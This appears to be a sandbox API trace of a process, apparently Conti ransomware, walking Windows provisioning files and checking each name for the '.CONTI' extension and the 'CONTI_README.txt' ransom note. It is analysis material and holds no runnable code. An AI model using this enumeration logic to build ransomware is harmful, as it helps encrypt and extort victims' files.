	[0109.513] lstrcpyW (in: lpString1=0x6574af8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.513] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.513] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml"
	[0109.513] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910e2c39, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x910e2c39, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x910e2c39, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x294, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml", cAlternateFileName="468__C~1.PRO")) returned 1
	[0109.513] lstrcmpiW (lpString1="468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.513] lstrcmpiW (lpString1="468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.513] StrStrIW (lpFirst="468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.513] StrStrIW (lpFirst="468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.513] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.513] lstrlenW (lpString="468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml") returned 81
	[0109.513] GetProcessHeap () returned 0x1720000
	[0109.513] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x158) returned 0x6574c58
	[0109.513] lstrcpyW (in: lpString1=0x6574c58, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.513] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.513] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml"
	[0109.513] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910e2c39, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x910e2c39, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x910e2c39, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x29f, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml", cAlternateFileName="469__C~1.PRO")) returned 1
	[0109.513] lstrcmpiW (lpString1="469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.513] lstrcmpiW (lpString1="469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.513] StrStrIW (lpFirst="469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.513] StrStrIW (lpFirst="469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.513] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.513] lstrlenW (lpString="469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml") returned 96
	[0109.513] GetProcessHeap () returned 0x1720000
	[0109.513] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x176) returned 0x6574db8
	[0109.514] lstrcpyW (in: lpString1=0x6574db8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.514] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.514] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml"
	[0109.514] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9026e179, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9026e179, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9026e179, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml", cAlternateFileName="46__CO~1.PRO")) returned 1
	[0109.516] lstrcmpiW (lpString1="46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.516] lstrcmpiW (lpString1="46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.516] StrStrIW (lpFirst="46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.516] StrStrIW (lpFirst="46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.516] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.516] lstrlenW (lpString="46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml") returned 65
	[0109.516] GetProcessHeap () returned 0x1720000
	[0109.516] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x18090f0
	[0109.516] lstrcpyW (in: lpString1=0x18090f0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.516] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.516] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml"
	[0109.517] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910e2c39, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x910e2c39, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x910e2c39, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e5, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml", cAlternateFileName="470__C~1.PRO")) returned 1
	[0109.517] lstrcmpiW (lpString1="470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.517] lstrcmpiW (lpString1="470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.517] StrStrIW (lpFirst="470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.517] StrStrIW (lpFirst="470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.517] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.517] lstrlenW (lpString="470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml") returned 92
	[0109.517] GetProcessHeap () returned 0x1720000
	[0109.517] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x16e) returned 0x6574f38
	[0109.517] lstrcpyW (in: lpString1=0x6574f38, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.517] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.517] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml"
	[0109.517] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91108ea4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91108ea4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91108ea4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x368, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml", cAlternateFileName="471__C~1.PRO")) returned 1
	[0109.517] lstrcmpiW (lpString1="471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.517] lstrcmpiW (lpString1="471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.517] StrStrIW (lpFirst="471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.517] StrStrIW (lpFirst="471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.517] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.517] lstrlenW (lpString="471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml") returned 74
	[0109.517] GetProcessHeap () returned 0x1720000
	[0109.517] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14a) returned 0x17d0bb0
	[0109.517] lstrcpyW (in: lpString1=0x17d0bb0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.517] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.517] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml"
	[0109.517] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91108ea4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91108ea4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91108ea4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x359, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml", cAlternateFileName="472__C~1.PRO")) returned 1
	[0109.517] lstrcmpiW (lpString1="472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.517] lstrcmpiW (lpString1="472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.517] StrStrIW (lpFirst="472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.517] StrStrIW (lpFirst="472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.518] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.518] lstrlenW (lpString="472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml") returned 74
	[0109.518] GetProcessHeap () returned 0x1720000
	[0109.518] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14a) returned 0x17f95d0
	[0109.518] lstrcpyW (in: lpString1=0x17f95d0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.518] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.518] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml"
	[0109.518] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91108ea4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91108ea4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91108ea4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml", cAlternateFileName="473__C~1.PRO")) returned 1
	[0109.518] lstrcmpiW (lpString1="473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.518] lstrcmpiW (lpString1="473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.518] StrStrIW (lpFirst="473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.518] StrStrIW (lpFirst="473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.518] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.518] lstrlenW (lpString="473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml") returned 74
	[0109.518] GetProcessHeap () returned 0x1720000
	[0109.518] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14a) returned 0x180afc0
	[0109.518] lstrcpyW (in: lpString1=0x180afc0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.518] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.518] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml"
	[0109.518] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91108ea4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91108ea4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9112f110, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34e, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml", cAlternateFileName="474__C~1.PRO")) returned 1
	[0109.518] lstrcmpiW (lpString1="474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.518] lstrcmpiW (lpString1="474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.518] StrStrIW (lpFirst="474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.518] StrStrIW (lpFirst="474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.518] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.518] lstrlenW (lpString="474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml") returned 74
	[0109.518] GetProcessHeap () returned 0x1720000
	[0109.518] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14a) returned 0x180c948
	[0109.518] lstrcpyW (in: lpString1=0x180c948, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.518] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
